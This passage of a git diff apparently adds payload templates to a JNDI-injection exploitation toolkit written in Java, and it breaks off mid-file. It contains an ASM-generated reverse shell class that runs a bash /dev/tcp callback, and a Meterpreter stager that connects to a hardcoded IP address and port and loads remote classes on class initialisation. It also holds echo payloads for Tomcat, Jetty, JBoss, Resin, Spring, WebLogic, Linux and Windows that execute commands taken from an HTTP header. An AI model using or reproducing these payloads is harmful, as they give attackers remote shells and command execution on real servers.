{ + this.ip = ip; + this.port = port; + this.className = "Exploit" + Util.getRandomString(); + + generate(); + } + + public ReverseShellTemplate(String ip, String port, String className) { + this(ip, Integer.parseInt(port)); + this.className = className; + + generate(); + } + + @Override + public String getClassName() { + return className; + } + + @Override + public byte[] getBytes() { + return bytes; + } + + @Override + public void cache() { + Cache.set(className, bytes); + } + + @Override + public void generate() { + ClassWriter cw = new ClassWriter(0); + FieldVisitor fv; + MethodVisitor mv; + AnnotationVisitor av0; + + cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); + + + { + fv = cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null); + fv.visitEnd(); + } + { + fv = cw.visitField(ACC_PRIVATE, "port", "I", null, null); + fv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); + mv.visitCode(); + Label l0 = new Label(); + Label l1 = new Label(); + Label l2 = new Label(); + mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception"); + Label l3 = new Label(); + mv.visitLabel(l3); + mv.visitLineNumber(12, l3); + mv.visitVarInsn(ALOAD, 0); + mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); + Label l4 = new Label(); + mv.visitLabel(l4); + mv.visitLineNumber(13, l4); + mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); + mv.visitLdcInsn("/"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); + Label l5 = new Label(); + mv.visitJumpInsn(IFEQ, l5); + Label l6 = new Label(); + mv.visitLabel(l6); + mv.visitLineNumber(14, l6); + mv.visitInsn(ICONST_3); + mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_0); + mv.visitLdcInsn("/bin/bash"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_1); + mv.visitLdcInsn("-c"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_2); + mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"); + mv.visitInsn(AASTORE); + mv.visitVarInsn(ASTORE, 1); + mv.visitLabel(l0); + mv.visitLineNumber(16, l0); + mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); + mv.visitVarInsn(ALOAD, 1); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); + mv.visitInsn(POP); + mv.visitLabel(l1); + mv.visitLineNumber(19, l1); + mv.visitJumpInsn(GOTO, l5); + mv.visitLabel(l2); + mv.visitLineNumber(17, l2); + mv.visitFrame(Opcodes.F_FULL, 2, new Object[]{className, "[Ljava/lang/String;"}, 1, new Object[]{"java/lang/Exception"}); + mv.visitVarInsn(ASTORE, 2); + Label l7 = new Label(); + mv.visitLabel(l7); + mv.visitLineNumber(18, l7); + mv.visitVarInsn(ALOAD, 2); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); + mv.visitLabel(l5); + mv.visitLineNumber(22, l5); + mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null); + mv.visitInsn(RETURN); + Label l8 = new Label(); + mv.visitLabel(l8); + mv.visitLocalVariable("e", "Ljava/lang/Exception;", null, l7, l5, 2); + mv.visitLocalVariable("command", "[Ljava/lang/String;", null, l0, l5, 1); + mv.visitLocalVariable("this", "LReverseShell;", null, l3, l8, 0); + mv.visitMaxs(4, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + Label l0 = new Label(); + mv.visitLabel(l0); + mv.visitLineNumber(27, l0); + mv.visitInsn(RETURN); + Label l1 = new Label(); + mv.visitLabel(l1); + mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); + mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); + mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2); + mv.visitMaxs(0, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + Label l0 = new Label(); + mv.visitLabel(l0); + mv.visitLineNumber(32, l0); + mv.visitInsn(RETURN); + Label l1 = new Label(); + mv.visitLabel(l1); + mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); + mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); + mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2); + mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3); + mv.visitMaxs(0, 4); + mv.visitEnd(); + } + cw.visitEnd(); + bytes = cw.toByteArray(); + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/Template.java b/src/main/java/com/qi4l/jndi/template/Template.java new file mode 100644 index 0000000..5a84133 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Template.java @@ -0,0 +1,11 @@ +package com.qi4l.jndi.template; + +public interface Template { + void generate(); + + byte[] getBytes(); + + void cache(); + + String getClassName(); +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/AllEcho.java b/src/main/java/com/qi4l/jndi/template/echo/AllEcho.java new file mode 100644 index 0000000..7756d9b --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/AllEcho.java @@ -0,0 +1,88 @@ +package com.qi4l.jndi.template.echo; + +public class AllEcho { + public static String CMD_HEADER = "cmd"; + + public static java.util.HashSet h = new java.util.HashSet(); + + public static javax.servlet.http.HttpServletRequest r = null; + + public static javax.servlet.http.HttpServletResponse p = null; + + static { + F(Thread.currentThread(), 0); + } + + private static boolean i(Object obj) { + if (obj == null || h.contains(obj)) { + return true; + } + h.add(obj); + return false; + } + + private static void F(Object start, int depth) { + Class n = start.getClass(); + do { + java.lang.reflect.Field f = null; + int l = n.getDeclaredFields().length; + for (int i = 0; i < l; i++) { + f = n.getDeclaredFields()[i]; + f.setAccessible(true); + Object o = null; + try { + o = f.get(start); + if (!o.getClass().isArray()) { + p(o, depth); + } else { + Object q = null; + Object[] objs = (Object[]) o; + int len = java.lang.reflect.Array.getLength(o); + for (int j = 0; j < len; j++) { + q = objs[j]; + p(q, depth); + } + } + } catch (Exception ignored) { + } + } + } while ((n = n.getSuperclass()) != null); + } + + private static void p(Object o, int depth) { + if (depth > 52 || (r != null && p != null)) { + return; + } + if (!i(o)) { + if (r == null && javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())) { + r = (javax.servlet.http.HttpServletRequest) o; + if (r.getHeader(CMD_HEADER) == null) { + r = null; + } else { + try { + p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse", new Class[]{}).invoke(r, new Object[]{}); + } catch (Exception e) { + r = null; + } + } + } + if (r != null && p != null) { + try { + try { + p.getWriter().println(q(r.getHeader(CMD_HEADER))); + } catch (Exception ignored) { + } + p.getWriter().flush(); + p.getWriter().close(); + } catch (Exception ignored) { + } + return; + } + F(o, depth + 1); + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/JbossEcho.java b/src/main/java/com/qi4l/jndi/template/echo/JbossEcho.java new file mode 100644 index 0000000..448347d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/JbossEcho.java @@ -0,0 +1,69 @@ +package com.qi4l.jndi.template.echo; + +public class JbossEcho { + + public static String CMD_HEADER = "cmd"; + + static { + try { + Object req = javax.security.jacc.PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); + String cmd = getMethodAndInvoke(req, "getHeader", new Class[]{String.class}, new Object[]{CMD_HEADER}).toString(); + + if (cmd != null && !cmd.isEmpty()) { + java.io.ByteArrayOutputStream baos = q(cmd); + + try { + // 高版本底层是 undertow + Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl"); + Object exchange = getMethodAndInvoke(req, "getExchange", new Class[]{}, new Object[]{}); + java.io.OutputStream os = (java.io.OutputStream) getMethodAndInvoke(exchange, "getOutputStream", new Class[]{}, new Object[]{}); + os.write(baos.toByteArray()); + os.close(); + } catch (ClassNotFoundException ignored) { + Object response = getMethodAndInvoke(req, "getResponse", new Class[]{}, new Object[]{}); + if (response == null) { + java.lang.reflect.Field field = req.getClass().getDeclaredField("request"); + field.setAccessible(true); + response = getMethodAndInvoke(field.get(req), "getResponse", new Class[]{}, new Object[]{}); + + } + Object writer = getMethodAndInvoke(response, "getWriter", new Class[]{}, new Object[]{}); + getMethodAndInvoke(writer, "write", new Class[]{String.class}, new Object[]{baos.toString()}); + getMethodAndInvoke(writer, "flush", new Class[]{}, new Object[]{}); + getMethodAndInvoke(writer, "close", new Class[]{}, new Object[]{}); + } + } + } catch (Exception ignored) { + } + + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + + public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + java.lang.reflect.Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) + return method.invoke(obj, parameters); + } catch (Exception ignored) { + } + return null; + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/JettyEcho.java b/src/main/java/com/qi4l/jndi/template/echo/JettyEcho.java new file mode 100644 index 0000000..20c42ab --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/JettyEcho.java @@ -0,0 +1,78 @@ +package com.qi4l.jndi.template.echo; + +import java.io.ByteArrayOutputStream; + +public class JettyEcho { + + public static String CMD_HEADER = "cmd"; + + static { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + field = obj.getClass().getDeclaredField("table"); + field.setAccessible(true); + obj = field.get(obj); + + Object[] obj_arr = (Object[]) obj; + for (int i = 0; i < obj_arr.length; i++) { + Object o = obj_arr[i]; + if (o == null) continue; + + field = o.getClass().getDeclaredField("value"); + field.setAccessible(true); + obj = field.get(o); + + if (obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")) { + Object connection = obj; + java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", (Class) null); + obj = method.invoke(connection, (Object) null); + + method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); + String cmd = (String) method.invoke(obj, new Object[]{"cmd"}); + + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class}); + java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(connection, new Object[]{"utf-8"}); + printWriter.println(res); + } + + break; + } else if (obj != null && obj.getClass().getName().endsWith("HttpConnection")) { + java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", (Class) null); + Object httpChannel = method.invoke(obj, (Object) null); + + method = httpChannel.getClass().getMethod("getRequest", (Class) null); + obj = method.invoke(httpChannel, (Object) null); + + method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); + String cmd = (String) method.invoke(obj, new Object[]{CMD_HEADER}); + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + method = httpChannel.getClass().getMethod("getResponse", (Class) null); + obj = method.invoke(httpChannel, (Object) null); + + method = obj.getClass().getMethod("getWriter", (Class) null); + java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(obj, (Object) null); + printWriter.println(res); + } + + break; + } + } + } catch (Exception ignored) { + } + + } + + public static ByteArrayOutputStream q(String cmd) { + return null; + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho1.java b/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho1.java new file mode 100644 index 0000000..c1ad703 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho1.java @@ -0,0 +1,48 @@ +package com.qi4l.jndi.template.echo; + +public class LinuxEcho1 { + + static { + try { + String command = "ls -l /proc/$PPID/fd|grep socket:|awk '{print $9}'"; + + java.util.List list = new java.util.ArrayList<>(); + String[] cmd = new String[]{"/bin/sh", "-c", command}; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + + String line; + while ((line = br.readLine()) != null) { + list.add(line); + } + + br.close(); + + java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); + c.setAccessible(true); + + for (String s : list) { + Integer integer = Integer.parseInt(s); + + try { + cmd = new String[]{"/bin/sh", "-c", "ls -l"}; + br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + + StringBuilder sb = new StringBuilder(); + while ((line = br.readLine()) != null) { + sb.append(line + "\n"); + } + + java.io.FileOutputStream os = new java.io.FileOutputStream(c.newInstance(integer)); + os.write(sb.toString().getBytes()); + + br.close(); + os.close(); + } catch (Exception e) { + } + } + } catch (Exception ignored) { + } + + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho2.java b/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho2.java new file mode 100644 index 0000000..e19c52d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho2.java @@ -0,0 +1,67 @@ +package com.qi4l.jndi.template.echo; + +public class LinuxEcho2 { + + static { + try { + if (java.io.File.separator.equals("/")) { + String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'"; + String[] cmd = new String[]{"/bin/sh", "-c", command}; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + java.util.List res1 = new java.util.ArrayList(); + String line = ""; + while ((line = br.readLine()) != null && !line.trim().isEmpty()) { + res1.add(line); + } + br.close(); + + try { + Thread.sleep((long) 2000); + } catch (InterruptedException e) { + //pass + } + + command = "ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'"; + cmd = new String[]{"/bin/sh", "-c", command}; + br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + java.util.List res2 = new java.util.ArrayList(); + while ((line = br.readLine()) != null && !line.trim().isEmpty()) { + res2.add(line); + } + br.close(); + + int index = 0; + int max = 0; + for (int i = 0; i < res2.size(); i++) { + try { + String socketNo = ((String) res2.get(i)).split("\\s+")[1].substring(8); + socketNo = socketNo.substring(0, socketNo.length() - 1); + for (int j = 0; j < res1.size(); j++) { + if (!socketNo.equals(res1.get(j))) continue; + + if (Integer.parseInt(socketNo) > max) { + max = Integer.parseInt(socketNo); + index = j; + } + break; + } + } catch (Exception e) { + //pass + } + } + + int fd = Integer.parseInt(((String) res2.get(index)).split("\\s")[0]); + java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); + c.setAccessible(true); + cmd = new String[]{"/bin/sh", "-c", "id"}; + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n"; + java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(fd)})); + os.write(result.getBytes()); + } + } catch (Exception ignored) { + } + + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/Meterpreter.java b/src/main/java/com/qi4l/jndi/template/echo/Meterpreter.java new file mode 100644 index 0000000..48905c1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/Meterpreter.java @@ -0,0 +1,142 @@ +/* + * Decompiled with CFR 0.152. + */ +package com.qi4l.jndi.template.echo; + +import java.io.DataInputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.util.HashMap; + +public class Meterpreter + extends ClassLoader + implements Runnable { + public static String host = "111.229.10.212"; + public static String port = "23412"; + //public String host; + //public String port; + static /* synthetic */ Class class$0; + static /* synthetic */ Class class$1; + static /* synthetic */ Class class$2; + + static { + + Meterpreter meterpreter = new Meterpreter(); + meterpreter.initLhost(); + meterpreter.run(); + } + + private HashMap parameterMap; + + + //public String toString() { + // if (this.host != null && this.port != null) { + // Thread thread = new Thread(this); + // thread.start(); + // this.parameterMap.put("result", "ok".getBytes()); + // } else { + // this.parameterMap.put("result", "host or port is null".getBytes()); + // } + // this.parameterMap = null; + // return ""; + //} + + public static void main(String[] args) throws Exception { + Meterpreter meterpreter = new Meterpreter(); + meterpreter.run(); + } + + public void initLhost() { + this.host = "111.229.10.212"; + this.port = "23412"; + } + + public boolean equals(Object paramObject) { + try { + this.parameterMap = (HashMap) paramObject; + this.host = this.get("host"); + this.port = this.get("port"); + } catch (Exception e) { + return false; + } + return true; + } + + public void getShell() throws Exception { + InputStream inputStream1 = null; + OutputStream outputStream = null; + int j = new Integer(this.port); + String str4 = this.host; + Socket socket = null; + if (str4 != null) { + socket = new Socket(str4, j); + } + inputStream1 = socket.getInputStream(); + outputStream = socket.getOutputStream(); + new Meterpreter().bootstrap(inputStream1, outputStream); + } + + private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception { + try { + Class clazz; + DataInputStream dataInputStream = new DataInputStream(paramInputStream); + int i = dataInputStream.readInt(); + do { + byte[] arrayOfByte = new byte[i]; + dataInputStream.readFully(arrayOfByte); + clazz = this.defineClass(null, arrayOfByte, 0, i); + this.resolveClass(clazz); + } while ((i = dataInputStream.readInt()) > 0); + Object object = clazz.newInstance(); + Class[] classArray = new Class[3]; + Class clazz2 = class$0; + if (clazz2 == null) { + try { + clazz2 = class$0 = Class.forName("java.io.DataInputStream"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[0] = clazz2; + Class clazz3 = class$1; + if (clazz3 == null) { + try { + clazz3 = class$1 = Class.forName("java.io.OutputStream"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[1] = clazz3; + Class clazz4 = class$2; + if (clazz4 == null) { + try { + clazz4 = class$2 = Class.forName("[Ljava.lang.String;"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[2] = clazz4; + clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""}); + } catch (Throwable throwable) { + // empty catch block + } + } + + public void run() { + try { + this.getShell(); + } catch (Exception exception) { + System.out.println(exception); + // empty catch block + } + } + + public String get(String key) { + try { + return new String((byte[]) this.parameterMap.get(key)); + } catch (Exception e) { + return null; + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/ResinEcho.java b/src/main/java/com/qi4l/jndi/template/echo/ResinEcho.java new file mode 100644 index 0000000..29b7bba --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/ResinEcho.java @@ -0,0 +1,49 @@ +package com.qi4l.jndi.template.echo; + +public class ResinEcho { + + public static String CMD_HEADER = "cmd"; + + static { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField("threadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + field = obj.getClass().getDeclaredField("table"); + field.setAccessible(true); + obj = field.get(obj); + + Object[] obj_arr = (Object[]) obj; + for (int i = 0; i < obj_arr.length; i++) { + Object o = obj_arr[i]; + if (o == null) continue; + + field = o.getClass().getDeclaredField("value"); + field.setAccessible(true); + obj = field.get(o); + + if (obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")) { + com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest) obj; + String cmd = httpRequest.getHeader(CMD_HEADER); + + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse(); + httpResponse.setHeader("Content-Length", res.length() + ""); + java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", (Class) null); + method.setAccessible(true); + com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse, (Object) null); + httpResponseStream.write(res.getBytes(), 0, res.length()); + httpResponseStream.close(); + } + + break; + } + } + } catch (Exception ignored) { + } + + } +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/SpringEcho.java b/src/main/java/com/qi4l/jndi/template/echo/SpringEcho.java new file mode 100644 index 0000000..da057aa --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/SpringEcho.java @@ -0,0 +1,43 @@ +package com.qi4l.jndi.template.echo; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +public class SpringEcho extends AbstractTranslet { + + public static String CMD_HEADER; + + public SpringEcho() { + + try { + org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); + javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); + javax.servlet.http.HttpServletResponse response = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); + String cmd = request.getHeader(CMD_HEADER); + if (cmd != null && !cmd.isEmpty()) { + response.getWriter().write(new String(q(cmd).toByteArray())); + } + response.getWriter().flush(); + response.getWriter().close(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/TomcatEcho.java b/src/main/java/com/qi4l/jndi/template/echo/TomcatEcho.java new file mode 100644 index 0000000..ff559df --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/TomcatEcho.java @@ -0,0 +1,81 @@ +package com.qi4l.jndi.template.echo; + +public class TomcatEcho { + + public static String CMD_HEADER = "cmd"; + + static { + try { + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); + f.setAccessible(true); + Thread[] threads = (Thread[]) f.get(group); + for (int i = 0; i < threads.length; i++) { + try { + Thread t = threads[i]; + if (t == null) continue; + String str = t.getName(); + if (str.contains("exec") || !str.contains("http")) continue; + f = t.getClass().getDeclaredField("target"); + f.setAccessible(true); + Object obj = f.get(t); + if (!(obj instanceof Runnable)) continue; + f = obj.getClass().getDeclaredField("this$0"); + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getDeclaredField("handler"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); + } + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getSuperclass().getDeclaredField("global"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getDeclaredField("global"); + } + f.setAccessible(true); + obj = f.get(obj); + f = obj.getClass().getDeclaredField("processors"); + f.setAccessible(true); + java.util.List processors = (java.util.List) (f.get(obj)); + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + f = processor.getClass().getDeclaredField("req"); + f.setAccessible(true); + Object req = f.get(processor); + Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req); + str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER}); + if (str != null && !str.isEmpty()) { + resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Integer(200)); + java.io.ByteArrayOutputStream baos = q(str); + try { + Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader); + obj = cls.newInstance(); + cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); + } catch (NoSuchMethodException var5) { + Class cls = Class.forName("java.nio.ByteBuffer", false, loader); + obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{baos.toByteArray()}); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); + } + flag = true; + } + if (flag) break; + } + if (flag) break; + } catch (Exception ignored) { + } + } + + } catch (Exception ignored) { + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/WindowsEcho.java b/src/main/java/com/qi4l/jndi/template/echo/WindowsEcho.java new file mode 100644 index 0000000..7bd7114 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/WindowsEcho.java @@ -0,0 +1,60 @@ +package com.qi4l.jndi.template.echo; + +public class WindowsEcho { + + static { + try { + if (java.io.File.separator.equals("\\")) { + java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd"); + field.setAccessible(true); + + Class clazz1 = Class.forName("sun.nio.ch.Net"); + java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress", new Class[]{java.io.FileDescriptor.class}); + method1.setAccessible(true); + + Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null); + java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0]; + constructor2.setAccessible(true); + + Class clazz3 = Class.forName("java.net.PlainSocketImpl"); + java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class}); + constructor3.setAccessible(true); + + java.lang.reflect.Method write = clazz2.getDeclaredMethod("write", new Class[]{byte[].class}); + write.setAccessible(true); + + java.net.InetSocketAddress remoteAddress = null; + java.util.List list = new java.util.ArrayList(); + java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor(); + for (int i = 0; i < 50000; i++) { + field.set((Object) fileDescriptor, (Object) (new Integer(i))); + try { + remoteAddress = (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor}); + if (remoteAddress.toString().startsWith("/127.0.0.1")) continue; + if (remoteAddress.toString().startsWith("/0:0:0:0:0:0:0:1")) continue; + list.add(new Integer(i)); + + } catch (Exception e) { + } + } + + for (int i = list.size() - 1; i >= 0; i--) { + try { + field.set((Object) fileDescriptor, list.get(i)); + Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})}); + String[] cmd = new String[]{"cmd", "/C", "whoami"}; + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n"; + write.invoke(socketOutputStream, new Object[]{result.getBytes()}); + break; + } catch (Exception e) { + //pass + } + } + } + } catch (Exception ignored) { + } + + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/weblogicEcho.java b/src/main/java/com/qi4l/jndi/template/echo/weblogicEcho.java new file mode 100644 index 0000000..0a64321 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/weblogicEcho.java @@ -0,0 +1,39 @@ +package com.qi4l.jndi.template.echo; + +public class weblogicEcho { + + public static String CMD_HEADER = "cmd"; + + static { + try { + weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork(); + if (adapter.getClass().getName().endsWith("ServletRequestImpl")) { + String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, CMD_HEADER); + + if (cmd != null && !cmd.isEmpty()) { + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter); + res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); + res.getServletOutputStream().flush(); + 